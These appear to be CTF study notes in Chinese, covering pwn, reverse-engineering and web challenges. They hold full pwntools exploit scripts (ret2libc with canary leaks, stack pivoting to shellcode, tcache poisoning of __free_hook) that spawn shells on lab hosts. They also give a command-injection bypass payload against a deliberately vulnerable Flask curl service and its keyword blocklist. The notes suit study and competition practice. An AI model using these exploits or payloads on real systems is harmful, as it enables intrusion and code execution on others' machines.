CTF题目大杂烩学习笔记

前言

在暑假的时候系统性的学习了Re和Pwn,以及一点点web,于是记录一下,之后就冲更加高级的东西了。题目都是从四面八方收集来的,比较散,就不一一标明出处了。

题目链接:https://www.123912.com/s/dlcdjv-1bHg
提取码:BRTt

目录导航

1. Pwn

2. Re

3. Web

4. 对抗赛

5. re + pwn


1.1 ret2libc 32位 无libc

PixPin_2025-09-04_06-22-38

漏洞比较明显,溢出1字节抓金丝雀+ret2libc,需要注意32位传参,需要注意本题没有给libc,需要我们通过https://libc.blukat.me/ 这个网站查找
PixPin_2025-09-04_06-27-41

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'i386'

# io = process('./attachment-7')
io = remote("192.168.121.130", 32807)
file = ELF("./pwn")
# libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
libc = ELF("./libc.so.6")

io.recvuntil(b"name?")
io.send(b'a'*(0x4C-0xC) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))  # 泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))

read_ret = 0x8049273
io.recvuntil(b'password?')
io.send(flat([
    cyclic(0x4C-0xC),       # 填充至金丝雀前
    p64(canary),            # 加入金丝雀值
    cyclic(0x8),            # 填充至返回地址
    p32(file.plt['puts']),  # puts 函数的 PLT 地址
    p32(file.sym['main']),  # 再次返回 main,避免退出
    p32(file.got['puts']),  # puts 的 GOT 地址作为参数
]))

print(f"debug {io.recvn(2)}")
puts_addr = u32(io.recvn(4))
print("puts_addr:", hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))
libc.address = libc_base

io.recvuntil(b"name?")
io.send(b"1")


io.recvuntil(b'password?')
# gdb.attach(io)
io.send(flat([
    cyclic(0x4C-0xC),                        # 填充至金丝雀前
    p64(canary),                             # 加入金丝雀值
    cyclic(0x8),                             # 填充至返回地址
    p32(libc.symbols['system']),             # systeam 函数的地址
    0,                                       # systeam 返回地址
    p32(next(libc.search(b'/bin/sh\x00'))),  # puts 的 GOT 地址作为参数
]))

io.interactive()

1.2 ret2libc 64位

PixPin_2025-09-04_06-28-24

PixPin_2025-09-04_06-28-43

表面上fg是考堆,实际上就是考了一个知识点:free后马上malloc一个相同大小的堆块会返回原来的地址,直接填写0x64、“flag”即可通过fg。接下来就是简单的ret2libc

from pwn import *
 
# 设置日志级别和架构
context.log_level = 'debug'
context.arch = 'amd64'
 
 
# io = process(['./pwn8'], env={"LD_PRELOAD": "./pwn8.so"})
 
# io = process("./pwn8")  # 本地调试
# 连接远程目标
io = remote('192.168.121.130', 32806)  # 替换为你的远程信息
 
# 加载目标二进制和 libc 库
file = ELF("./pwn8")
# libc = ELF("./pwn8.so")
libc = ELF("./libc.so.6")  # 替换为你的 libc 库路径
 
# 第一步:利用堆漏洞,读取金丝雀值
io.recvuntil(b'size:')
io.sendline(b'100')  # 输入大小100字节,复用已free的堆块
io.recvuntil(b'flag:')
io.sendline(b'flag')  # 覆盖堆块内容
io.recvuntil(b"ISCC")
io.send(b'a'*(0x20-0x8) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))  # 读取金丝雀值
print(f"金丝雀: {hex(canary)}")
 
# 第二步:构造ROP链,触发puts泄露地址
pop_rdi_ret = 0x4014c3  # pop rdi; ret gadget 地址
puts_plt = file.plt['puts']  # puts 函数的 PLT 地址
puts_got = file.got['puts']  # puts 的 GOT 地址
main_func = file.sym['main']  # 返回 main 函数地址,确保程序继续执行
 
# 构造ROP链
payload = flat([
    cyclic(0x20-0x8),  # 填充至金丝雀前
    p64(canary),  # 加入金丝雀值
    cyclic(0x8),  # 填充至返回地址
    p64(pop_rdi_ret),  # pop rdi; ret gadget
    p64(puts_got),  # puts 的 GOT 地址作为参数
    p64(puts_plt),  # 调用 puts
    p64(main_func),  # 再次返回 main,避免退出
])
 
# gdb.attach(io)
 
 
# 发送payload
io.send(payload)
# sleep(1000)
 
# b = io.recvn(47)
b = io.recvuntil(b"nice to meet you")
b = io.recvuntil(b"Nice to meet you too!")
io.recv(1)
# 接收puts的泄露地址
a = io.recv(6).ljust(8, b'\x00')
print(f"DEBUG: {b}")
puts_addr = u64(a)  # 获取puts地址,并填充至8字节
print(f"DEBUG: {a}")
print(f"puts 地址: {hex(puts_addr)}")
 
 
# 计算 libc 基地址、
libc_base = puts_addr - libc.sym['puts']  # 计算 libc 基地址
 
print(f"libc 基地址: {hex(libc_base)}")
libc.address = libc_base  # 更新 libc 地址
 
# 触发下一阶段
io.recvuntil(b'ISCC')
io.send(b"1\x00")
 
# 接收更多信息
io.recvuntil(b"you")
 
# 获取 libc 中的系统调用和 /bin/sh 字符串地址
system = libc.sym['system']  # 计算 system 地址
bin_sh = next(libc.search(b'/bin/sh'))  # 计算 /bin/sh 地址
print(f"system 地址: {hex(system)}")
print(f"/bin/sh 地址: {hex(bin_sh)}")
 
pop_rsi_r15_ret = 0x4014c1
 
# 构造第二个ROP链
payload2 = flat([
    cyclic(0x20 - 0x8),  # 填充至金丝雀前
    p64(canary),         # 加入金丝雀值
    cyclic(0x8),         # 填充至返回地址
    libc.search(asm('pop rdi; ret;')).__next__() + 1,  # pop rdi; ret
    libc.search(asm('pop rdi; ret;')).__next__(),  # pop rdi; ret
    libc.search("/bin/sh").__next__(),
    libc.sym['system'],
])
 
 
# gdb.attach(io)
# 发送第二个payload,执行系统命令
io.send(payload2)
# sleep(1000)
 
# 最终交互,获得 shell
io.interactive()
 

1.3 手写 32/64 shellcode

详细见我另外一篇文章:https://www.cnblogs.com/resea/p/18881947

1.4 精简版shellcode

详细见我另外一篇文章:https://www.cnblogs.com/resea/p/18881947

1.5 栈迁移一次

PixPin_2025-09-04_06-32-15
PixPin_2025-09-04_06-32-24

给了后门,可以更改执行权限,如果直接去找传参板子是找不到的,传不到第三个参数,要使用__libc_csu_init板子

.text:0000000000400700 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400700 ; __unwind {
.text:0000000000400700                 push    r15
.text:0000000000400702                 push    r14
.text:0000000000400704                 mov     r15, rdx
.text:0000000000400707                 push    r13
.text:0000000000400709                 push    r12
.text:000000000040070B                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400712                 push    rbp
.text:0000000000400713                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040071A                 push    rbx
.text:000000000040071B                 mov     r13d, edi
.text:000000000040071E                 mov     r14, rsi
.text:0000000000400721                 sub     rbp, r12
.text:0000000000400724                 sub     rsp, 8
.text:0000000000400728                 sar     rbp, 3
.text:000000000040072C                 call    _init_proc
.text:0000000000400731                 test    rbp, rbp
.text:0000000000400734                 jz      short loc_400756
.text:0000000000400736                 xor     ebx, ebx
.text:0000000000400738                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400740
.text:0000000000400740 loc_400740:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400740                 mov     rdx, r15
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r13d
.text:0000000000400749                 call    ds:(__frame_dummy_init_array_entry - 600DC8h)[r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbp, rbx
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn
.text:0000000000400764 ; } // starts at 400700
.text:0000000000400764 __libc_csu_init endp

大体思路是通过调用pop先控制rbx_rbp_r12_r13_r14_r15,然后再mov到rdx,rsi,rdi

然后通过精确布局栈来跳到shellcode

from pwn import *

# 设置日志级别和架构
context.log_level = 'debug'
context.arch = 'amd64'

# io = process("./pwn")  # 本地调试
# 连接远程目标
io = remote('192.168.100.183', 32771)  # 替换为你的远程信息

# 加载目标二进制和 libc 库
file = ELF("./pwn")
# libc = ELF("./pwn8.so")
# libc = ELF("./libc.so.6")  # 替换为你的 libc 库路径

'''
pop     rbx    => rbx +1
pop     rbp    => cmp     rbp, rbx
pop     r12    => call
pop     r13    => edi
pop     r14    => rsi
pop     r15    => rbx
retn
'''
csu_pop = 0x40075A

'''
mov     rdx, r15
mov     rsi, r14
mov     edi, r13d
call    ds:(__frame_dummy_init_array_entry - 600DC8h)[r12+rbx*8]
add     rbx, 1
cmp     rbp, rbx
jnz     short loc_400740
add     rsp, 8
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn
'''
csu_call = 0x400740
bss = 0x601020 + 0x200

read_leave_ret = 0x4006D6
leave_ret = 0x4006F5
mprotect = 0x0600FE8

payload = flat([
    cyclic(0xf0),
    bss,
    read_leave_ret
])
# gdb.attach(io)
io.recvuntil(b"check it!\n")
io.send(payload)

payload = flat([
    bss + 0x600,
    csu_pop,
    0,               # pop rbx      => rbx + 1
    1,               # pop rbp      => cmp     rbp, rbx
    mprotect,        # pop r12      => call
    0x601000,        # pop r13      => edi
    0x1000,          # pop r14      => rsi
    7,               # pop r15      => rbx
    csu_call,        # csu_pop ret
    p64(0) * 7,
    0x6011b8,
    asm(shellcraft.sh()),

]).ljust(0xF0, b"\x00") + p64(0x601130) + p64(leave_ret)
io.send(payload)

# sleep(100)
io.interactive()

1.6 栈迁移两次

详见: https://www.cnblogs.com/resea/p/18730323

1.7 堆_tcachebins

比较标准的堆题,漏洞开的很大,free不置空,edit任意写,写出菜单后直接上手打

from pwn import *
 
# one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
 
context.log_level = 'debug'
context.arch = 'amd64'
 
io = process('attachment-23')
io = remote("101.200.155.151", 12300)
file = ELF("attachment-23")
libc = ELF("libc.so.6")
# libc = ELF("./libc.so.6")
 
def debug():
    gdb.attach(io)
    input()
 
def canary(_str:str):
    io.recvuntil(_str.encode())
    io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
    io.recvuntil(b"g")
    canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
    print("canary:", hex(canary))
    return canary
 
def get():
    return u64(io.recv(6).ljust(8, b'\x00'))
 
def add(index:int,size: int):
    io.recvuntil(b"choice:")
    io.send(b'1')
    io.recvuntil(b"index:")
    io.send(str(index).encode())
    io.recvuntil(b"size:")
    io.send(str(size).encode())
 
 
def free(index: int):
    io.recvuntil(b"choice:")
    io.send(b'2')
    io.recvuntil(b"index:")
    io.send(str(index).encode())
 
 
def edit(index: int, content: bytes):
    io.recvuntil(b"choice:")
    io.send(b'3')
    io.recvuntil(b"index:")
    io.send(str(index).encode())
    io.recvuntil(b'length:')
    io.send(str(len(content)).encode())
    io.recvuntil(b"content:")
    io.send(content)
 
 
def down(index: int):
    io.recvuntil(b"choice:")
    io.send(b'4')
    io.recvuntil(b"index:")
    io.send(str(index).encode())
 
 
def exit():
    io.recvuntil(b"choice:")
    io.send(b'5')
 
 
add(0,0x600)
add(1,0x20)
free(0)
add(0,0x600)
'''
获取fd
'''
down(0)
 
print(f"DEBUG{io.recvn(1)}")
fd_leak = u64(io.recvn(6).ljust(8, b'\x00'))
print(f"fd_leak: {hex(fd_leak)}")
# debug()
 
malloc_hook = fd_leak + (0xb70 - 0xbe0)
print(f"malloc_hook: {hex(malloc_hook)}")
libc.address = malloc_hook - libc.sym['__malloc_hook']
 
# debug()
fake_chunk_addr = libc.sym['__malloc_hook'] - 0x23  # 0xf7
 
# 获取偏移
 
 
add(2,0x20)
payload = flat([
    b"/bin/sh\x00",
])
# debug()
edit(2,payload)
add(0,0x20)
add(1,0x20)
free(0)
free(1)
# debug()
payload = flat([
    p64(libc.sym['__free_hook']),
    # p64(libc.sym['__malloc_hook'])
])
 
edit(1,payload)
# debug()
add(3,0x20)
# debug()
add(4,0x20)
# debug()
payload = flat([
    p64(libc.sym['system']),
    # p64(libc.sym['puts'])
    # p64(0x4f29e + libc.address)
])
edit(4,payload)
# debug()
free(2)
 
io.interactive()
 

还有一道任意写题目,考点一样,就不单独开了

from pwn import *
context(arch="AMD64", os="linux", log_level="debug")

IP = "192.168.121.130"
PORT = 32851
FILE = "./pwn"

io = process(FILE)
# io = remote(IP, PORT)

file = ELF(FILE)
# libc = ELF("./libc.so.6")


def debug():
    gdb.attach(io)
    input()


def add(index: int, size: int, payload: bytes):
    io.recvuntil(b"exit")
    io.sendline(b'1')
    io.recvuntil(b"creat:")
    io.sendline(str(index).encode())
    io.recvuntil(b"ues:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.sendline(payload)


def free(index: int):
    io.recvuntil(b"exit")
    io.sendline(b'2')
    io.recvuntil(b"delet:")
    io.sendline(str(index).encode())


def edit(index: int, content: bytes):
    io.recvuntil(b"exit")
    io.sendline(b'3')
    io.recvuntil(b"edit:")
    io.sendline(str(index).encode())
    io.recvuntil(b"content:")
    io.sendline(content)


def down(index: int):
    io.recvuntil(b"exit")
    io.sendline(b'4')
    io.recvuntil(b"show:")
    io.sendline(str(index).encode())


def exit():
    io.recvuntil(b"exit")
    io.sendline(b'5')


def backboor():
    io.recvuntil(b"exit")
    io.send(b"123")
    io.recvuntil(b"gift")
    io.send(flat([
        asm(shellcraft.sh())
    ]))


io.recvuntil(b"name")
io.sendline(b"96")  # 0x60 = 96
io.recvuntil(b"age")
io.sendline(b"96")

io.recvuntil(b"want:-)\n")
password_arr = int(io.recvline()[:-1], 16)


print(f"password_arr: {hex(password_arr)}")
file.address = password_arr - 0x0202040

buff_arr = 202048 + file.address
print(f"buff_arr: {hex(buff_arr)}")

add(0, 0x100, b"")
add(1, 0x100, b"")

free(0)

down(0)

heap_arr = u64(io.recvuntil(b"\x0a\x31")[1:-2] + b"\x00" * 3)

print(f"heap_arr : {hex(heap_arr)}")

add(2, 0x60, b"1")
add(3, 0x60, b"1")
free(2)
free(3)

edit(3, p64(buff_arr))

# debug()
add(4, 0x60, b"deadbeef"*10)
add(5, 0x60, b"deadbeef"*10)

# debug()

backboor()

io.interactive()

2.1 app逆向

使用工具jadx,直接找MainActivity

package com.example.crackme;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

/* loaded from: classes.dex */
public class MainActivity extends Activity {
    private Button btn_register;
    private EditText edit_sn;
    String edit_userName;

    @Override // android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(C0236R.layout.activity_main);
        setTitle(C0236R.string.unregister);
        this.edit_userName = "Tenshine";
        this.edit_sn = (EditText) findViewById(C0236R.id.edit_sn);
        this.btn_register = (Button) findViewById(C0236R.id.button_register);
        this.btn_register.setOnClickListener(new View.OnClickListener() { // from class: com.example.crackme.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim())) {
                    Toast.makeText(MainActivity.this, C0236R.string.unsuccessed, 0).show();
                    return;
                }
                Toast.makeText(MainActivity.this, C0236R.string.successed, 0).show();
                MainActivity.this.btn_register.setEnabled(false);
                MainActivity.this.setTitle(C0236R.string.registered);
            }
        });
    }

    @Override // android.app.Activity
    public boolean onCreateOptionsMenu(Menu menu) {
        getMenuInflater().inflate(C0236R.menu.activity_main, menu);
        return true;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public boolean checkSN(String userName, String sn) throws NoSuchAlgorithmException {
        if (userName == null) {
            return false;
        }
        try {
            if (userName.length() == 0 || sn == null || sn.length() != 22) {
                return false;
            }
            MessageDigest digest = MessageDigest.getInstance("MD5");
            digest.reset();
            digest.update(userName.getBytes());
            byte[] bytes = digest.digest();
            String hexstr = toHexString(bytes, "");
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < hexstr.length(); i += 2) {
                sb.append(hexstr.charAt(i));
            }
            String userSN = sb.toString();
            return new StringBuilder().append("flag{").append(userSN).append("}").toString().equalsIgnoreCase(sn);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
            return false;
        }
    }

    private static String toHexString(byte[] bytes, String separator) {
        StringBuilder hexString = new StringBuilder();
        for (byte b : bytes) {
            String hex = Integer.toHexString(b & 255);
            if (hex.length() == 1) {
                hexString.append('0');
            }
            hexString.append(hex).append(separator);
        }
        return hexString.toString();
    }
}

注意到:

public boolean checkSN(String userName, String sn) throws NoSuchAlgorithmException {
        if (userName == null) {
            return false;
        }
        try {
            if (userName.length() == 0 || sn == null || sn.length() != 22) {
                return false;
            }
            MessageDigest digest = MessageDigest.getInstance("MD5");
            digest.reset();
            digest.update(userName.getBytes());
            byte[] bytes = digest.digest();
            String hexstr = toHexString(bytes, "");
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < hexstr.length(); i += 2) {
                sb.append(hexstr.charAt(i));
            }
            String userSN = sb.toString();
            return new StringBuilder().append("flag{").append(userSN).append("}").toString().equalsIgnoreCase(sn);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
            return false;
        }
    }

获取input,做成MD5,转为16进制字符串,隔一个取一个,之后对比

import hashlib

str1 = b"Tenshine"
str2 = hashlib.md5(str1).hexdigest()
print(str2)
flag = ""
for i in range(0, len(str2), 2):
    flag += str2[i]
print(flag)
print(f"flag{{{flag}}}")

2.2 手动脱壳UPX

方法一:尝试在010编辑器中修复

PixPin_2025-09-04_06-53-46

修复完后即可用官方工具脱壳

方法二:x64gdb脱壳

用x64dbg打开,按一次F9来到入口点

PixPin_2025-09-04_06-55-36

单步运行到push rbp,在右下角ROM下硬件断点-访问-4字节

PixPin_2025-09-04_06-56-49

直接运行,被断在这里
PixPin_2025-09-04_06-58-15

在最后的jmp下断点,运行到断点后再次步进
PixPin_2025-09-04_06-59-22

打开Scylla,如图:
PixPin_2025-09-04_07-02-57

即可

2.3 花指令

PixPin_2025-09-04_07-04-03

然后发现反汇编不了一点,全是花指令,使用ida脚本去除

# remove_flower.py
import idc
import idaapi
startaddr=0x1100
endaddr=0x15FF
lis=[0x50, 0x51, 0x52, 0x53, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x81, 0xC3, 0x12, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x83, 0xC4, 0x18,0xC3]
#这个for循环是关键点,检测以当前地址开始的27个字节是否符合lis列表的内容。
for i in range(startaddr,endaddr):
    flag=True
    for j in range(i,i+27):
        if idc.get_wide_byte(j)!=lis[j-i]:
            flag=False
    if flag==True:
        for addr in range(i,i+27):
            idc.patch_byte(addr,0x90) # 将这部分内容全部nop掉

for i in range(startaddr,endaddr):# 取消函数定义
    idc.del_items(i)
for i in range(startaddr,endaddr):       # 添加函数定义
    if idc.get_wide_dword(i)==0xFA1E0FF3: #endbr64
        idaapi.add_func(i)

去除完了就可以发现正常逻辑了,写出脚本解密

#solve.py
lis=[0x54,0xf4,0x20,0x47,0xfc,0xc4,0x93,0xe6,0x39,0xe0,
     0x6e,0x00,0xa5,0x6e,0xaa,0x9f,0x7a,0xa1,0x66,0x39,
     0x76,0xb7,0x67,0x57,0x3d,0x95,0x61,0x22,0x55,0xc9,
     0x3b,0x4e,0x4f,0xe8,0x66,0x08,0x3d,0x50,0x43,0x3e]
str="uarefirst."
offset_buf=[0,4,32,12,8,24,16,20,28,36]
#offset_buf就是通过动态调试提取出每一轮get_next_rand函数的返回值得到的
truekey=[]
for i in str:
    truekey.append(ord(i))
def decrypt(offset,key):
    a=lis[offset]
    b=lis[offset+1]
    c=lis[offset+2]
    d=lis[offset+3]
    flagc=((c+key)&0xff)^b
    flagd=c^d
    flaga=a^d^key
    flagb=((b-key)&0xff)^flaga^key
    lis[offset]=flaga
    lis[offset+1]=flagb
    lis[offset+2]=flagc
    lis[offset+3]=flagd
for i in range(10):
    decrypt(offset_buf[i],truekey[i])
print(bytes(lis).decode('utf-8'))
# flag{y0u_C4n_3a51ly_Rem0v3_CoNfu510n-!!}

2.4 go语言逆向

直接ida冲main_main

PixPin_2025-09-04_07-07-03

// main.main
void __fastcall main_main()
{
  __int64 v0; // rdx
  __int64 len; // rbx
  __int64 v2; // [rsp+8h] [rbp-F8h]
  __int64 v3; // [rsp+10h] [rbp-F0h]
  __int64 v4; // [rsp+10h] [rbp-F0h]
  __int64 v5; // [rsp+18h] [rbp-E8h]
  __int64 v6; // [rsp+18h] [rbp-E8h]
  __int64 v7; // [rsp+20h] [rbp-E0h]
  __int128 len_1; // [rsp+20h] [rbp-E0h]
  __int64 v9; // [rsp+28h] [rbp-D8h]
  __int64 v10; // [rsp+30h] [rbp-D0h]
  __int64 v11; // [rsp+38h] [rbp-C8h]
  __int64 len_2; // [rsp+50h] [rbp-B0h]
  __int64 v13[4]; // [rsp+58h] [rbp-A8h] BYREF
  __int64 v14; // [rsp+78h] [rbp-88h] BYREF
  __int64 v15; // [rsp+98h] [rbp-68h]
  string *p_string; // [rsp+A0h] [rbp-60h]
  __int64 v17[2]; // [rsp+A8h] [rbp-58h] BYREF
  __int64 v18[2]; // [rsp+B8h] [rbp-48h] BYREF
  __int64 v19[2]; // [rsp+C8h] [rbp-38h] BYREF
  __int64 v20[2]; // [rsp+D8h] [rbp-28h] BYREF
  __int64 v21[2]; // [rsp+E8h] [rbp-18h] BYREF

  p_string = (string *)runtime_newobject((__int64)&RTYPE_string);
  v21[0] = (__int64)&RTYPE_string;
  v21[1] = (__int64)&off_4E1130;                // "Please input you flag like flag{123} to judge:"
  fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v21, 1, 1);
  v20[0] = (__int64)&RTYPE__ptr_string;
  v20[1] = (__int64)p_string;
  v11 = fmt_Fscanf(
          (__int64)&go_itab__ptr_os_File_comma__ptr_io_Reader,
          qword_572B10,
          (__int64)"%s",
          2,
          (__int64)v20,
          1,
          1);
  v5 = runtime_stringtoslicebyte((__int64)&v14, (__int64)"tGRBtXMZgD6ZhalBtCUTgWgZfnkTgqoNsnAVsmUYsGtCt9pEtDEYsql3", 56);
  len_1 = runtime_slicebytetostring((__int64)v13, v5, v7, v9);
  v6 = encoding_base64__ptr_Encoding_DecodeString(qword_572B00, len_1, *((__int64 *)&len_1 + 1));
  v0 = v6;
  len = len_1;
  if ( v10 )
  {
    v15 = v6;
    len_2 = len_1;
    v2 = (*(__int64 (__golang **)(__int64))(v10 + 24))(v11);
    v4 = runtime_convTstring(v2, v3);
    v19[0] = (__int64)&RTYPE_string;
    v19[1] = v4;
    fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v19, 1, 1);
    v0 = v15;
    len = len_2;
  }
  if ( p_string->len == len && runtime_memequal(v0, (__int64)p_string->ptr, len) )
  {
    v18[0] = (__int64)&RTYPE_string;
    v18[1] = (__int64)&off_4E1140;              // "Congratulation the flag you input is correct!"
    fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v18, 1, 1);
  }
  else
  {
    v17[0] = (__int64)&RTYPE_string;
    v17[1] = (__int64)&off_4E1150;              // "Try again! Come on!"
    fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer, qword_572B18, (__int64)v17, 1, 1);
  }
}

大概就是一个Base64,直接厨子就能打完

import base64

encoded_str = "tGRBtXMZgD6ZhalBtCUTgWgZfnkTgqoNsnAVsmUYsGtCt9pEtDEYsql3"
decoded_bytes = base64.b64decode(encoded_str)
flag = decoded_bytes.decode('utf-8')

print(f"flag{{{flag}}}")  # 输出格式应该是 flag{解码后的内容}

2.5 反调试

挂上x64gdb的反调试插件,加上ida慢慢看即可

2.6 smc

PixPin_2025-09-04_07-11-19

发现完全是乱码,和编译不了,也不像是花指令

int sub_401550()
{
  int result; // eax
  int i; // [esp+4h] [ebp-1Ch]
  DWORD flOldProtect[2]; // [esp+18h] [ebp-8h] BYREF

  flOldProtect[1] = -858993460;
  flOldProtect[0] = (DWORD)malloc(8u);
  result = VirtualProtect((char *)&loc_4014D0 - (unsigned int)&loc_4014D0 % 0x1000, 0x1000u, 0x80u, flOldProtect);
  for ( i = 0; i < 122; ++i )
  {
    *((_BYTE *)&loc_4014D0 + i) ^= 0x66u;
    result = i + 1;
  }
  return result;
}

这个是解密指令,那我们直接断点在if ( JUMPOUT_(v6) )动态调试即可做完,接下来就是简单的加密解密

byte_40A000 = [
    0x9F,0x91,0xA7,0xA5,0x94,0xA6,0x8D,0xB5,
    0xA7,0x9C,0xA6,0xA1,0xBF,0x91,0xA4,0x53,
    0xA6,0x53,0xA5,0xA3,0x94,0x9B,0x91,0x9E,
    0x8F
]

flag = ""
for b in byte_40A000:
    c = (b ^ 0x39) - 57
    flag += chr(c)
print("Flag:", flag)

2.7 gui

参见这个:
https://blog.csdn.net/qq_55185383/article/details/143856181

总之就是gui不能追踪控制流,要多利用字符串和API定位到主要逻辑

2.8 hook

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char v5[64]; // [esp+0h] [ebp-44h] BYREF

  memset(v5, 0, sizeof(v5));
  sub_401650();
  sub_401BC0("Please enter the flag: ", v5[0]);
  sub_401C00("%s", (char)v5);
  if ( (unsigned __int8)sub_4019B0(v5, aHappyHook) )// "happy_hook"
    v3 = sub_401000(std::cout, "Congratulations! You got the flag!");
  else
    v3 = sub_401000(std::cout, "Sorry, your flag is incorrect.");
  std::ostream::operator<<(v3, sub_401300);
  system("pause");
  return 0;
}

发现在这里sub_4019B0被hook到了sub_401780

int sub_401650()
{
  puts("---------------------------------------------");
  puts(asc_4031F0);
  puts("---------------------------------------------");
  return sub_401540(sub_4019B0, (int)sub_401780);
char __cdecl sub_401780(const char *a1, int a2)
{
  unsigned int i; // [esp+14h] [ebp-118h]
  _BYTE v4[260]; // [esp+24h] [ebp-108h] BYREF

  if ( strlen(a1) != 17 )
    return 0;
  memset(v4, 0, 0x101u);
  sub_4018E0(v4, a2, 4);
  sub_4016A0(v4, a1, strlen(a1));
  for ( i = 0; i < 0x11; ++i )
  {
    if ( a1[i] != byte_40500C[i] )
      return 0;
  }
  return 1;
}

简单的解密,直接做即可

2.9 smc+花指令

这位更是重量级,有多重量级呢?建议自己做一下先。

首先先是花指令,去花指令的时候一不小心就会去了key(藏在花指令里面),导致动态调试key丢失。直接动态调试会有反调试开线程疯狂修改key,保留key就不能动态调试(指令不对)。爽死了。

花指令:
PixPin_2025-09-04_07-22-53

PixPin_2025-09-04_07-24-03

先按u未定义key
PixPin_2025-09-04_07-24-50

PixPin_2025-09-04_07-25-13

后面是干扰的

然后配合正常逻辑即可解密flag{this_is_a_test_flag_xxxxx}

这题还有一个解法是:x64gdb开反反调试慢慢调。

3.1 绕过

web题目我就这一道觉得值得讲,这道题有两个解:(找不到题目文件去对抗赛web1找)

www.baidu.com&&less<f[a,b]lg114514
file://flag114514

属于见过就会,没见过想破头皮都想不出来,禁用了一堆东西,做的时候觉得丧心病狂,后面觉得也就这样。

看看后台代码就知道发生了什么:

from operator import imod
from flask import Flask, render_template, request, jsonify
import subprocess
import re
import os

app = Flask(__name__)

# 定义被禁止的敏感关键字


def waf_check(payload: str) -> bool:
    """
    WAF 黑名单检测
    :param payload: 用户输入
    :return: True 表示通过, False 表示被拦截
    """

    # 1. 禁止空格
    if " " in payload:
        return False

    # 2. 禁止危险命令
    dangerous_cmds = ["cat", "ls", "echo"]
    for cmd in dangerous_cmds:
        if re.search(rf"\b{cmd}\b", payload, flags=re.IGNORECASE):
            return False

    # 3. 禁止正常 URL 中不会出现的特殊字符
    #    正常 URL 中允许的字符:字母、数字、.、-、_、?、=、&、:、/、%
    #    禁止除这些之外的字符,比如 ;、|、$、`、\、"、'、(、)
    forbidden_chars = r"[;|$`\\\"'\(\)]"
    if re.search(forbidden_chars, payload):
        return False

    return True


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/ping', methods=['POST'])
def ping():
    data = request.get_json()
    url = data.get('url', '')

    # 黑名单检查
    if waf_check(url) == False:
        return jsonify({"result": "不允许回显!"})

    # 调用系统 ping 命令(存在命令注入漏洞)
    try:
        cmd = f"curl {url}"
        result = subprocess.check_output(
            ["/bin/bash", "-c", cmd],
            stderr=subprocess.STDOUT,
            timeout=3
        )
        return jsonify({"result": result.decode(errors="ignore")})
    except subprocess.CalledProcessError as e:
        return jsonify({"result": e.output.decode(errors="ignore")})
    except subprocess.TimeoutExpired:
        return jsonify({"result": "请求超时!"})


if __name__ == '__main__':
    # 如果 GZCTF_FLAG 存在,就写入 /home/ctf/flag 并清空环境变量
    flag = os.environ.get("GZCTF_FLAG")
    if flag:
        with open("/app/flag114514", "w") as f:
            f.write(flag)
        # 清空环境变量,防止被直接通过 env 泄露
        os.environ["GZCTF_FLAG"] = ""

    app.run(host="0.0.0.0", port=80, debug=False)

4.1 web

awdp 本质上就是 ctf 的衍生,但是更加综合,它主要有两种考法:进攻和防守,以及两种主要题型: Web 和 Pwn

其实进攻和常规的ctf没有什么区别,唯一的区别就是你要主动去发现漏洞,部分需要打跳板,这一块和ctf没什么大的区别,打好常规就能打

